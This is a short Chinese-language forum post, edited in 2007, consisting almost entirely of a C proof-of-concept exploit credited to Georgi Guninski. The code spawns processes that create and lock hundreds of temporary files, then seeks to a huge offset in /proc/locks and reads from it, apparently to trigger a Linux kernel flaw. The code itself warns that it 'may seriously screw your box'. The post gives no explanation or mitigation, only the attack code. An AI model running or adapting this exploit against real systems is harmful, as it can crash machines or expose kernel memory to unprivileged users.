- 论坛徽章:
- 0
|
问题解决
- /*
- * copyright georgi guninski
- * cannot be used in vulnerability databases like securityfocus and mitre
- *
- * */
- #include <stdio.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <fcntl.h>
- #include <unistd.h>
- #include <string.h>
- #include <sys/mman.h>
- #include <sys/file.h>
- #include <syscall.h>
- #include <errno.h>
- _syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res,
- uint, wh)
- void makefiles()
- {
- int cou,fv;
- char vn[242];
- for(cou=0;cou<920;cou++)
- {
- snprintf(vn,sizeof(vn),"TEMPFILEMAYBEDELETE%d.%d",getpid(),cou);
- fv=open(vn,O_CREAT|O_RDWR,S_IRWXU);
- if (fv <0) perror("open2");
- if (flock(fv,LOCK_EX) == -1) perror("flock");
- }
- while(42);
- }
- int main(int ac, char **av)
- {
- int fd,fv,i,cou;
- void *mv;
- char *he,*he2;
- loff_t lr;
- char c;
- printf("\n\nThis may seriously screw your box\n\n");
- printf("This creates a lot of files 'TEMPFILEMAYBEDELE*' in cwd\n");
- printf("Press 'Y' to run it\n");
- read(0,&c,1);
- if (c != 'Y') return 42;
- cou=5;
- printf("creating files...\n");
- while(cou--)
- if (!fork())
- makefiles();
- sleep(20);
- printf("starting...\n");
- system("sync");
- fd=open("/proc/locks",O_RDONLY);
- if (fd <0) perror("open");
- he=malloc(1024*1024*8);
- he2=malloc(1024*1024*8);
- if (-1 == _llseek(fd,42,0x80004242,&lr,SEEK_SET)) perror("llseek");
- i=read(fd,he2, 0x80004242);
- perror("read");
- printf("read=%d mv=%x fv=%x\n %.300s",i,(int)mv,fv,he2);
- while(42);
- return 42;
- }
复制代码
[ 本帖最后由 platinum 于 2007-11-29 10:34 编辑 ] |
|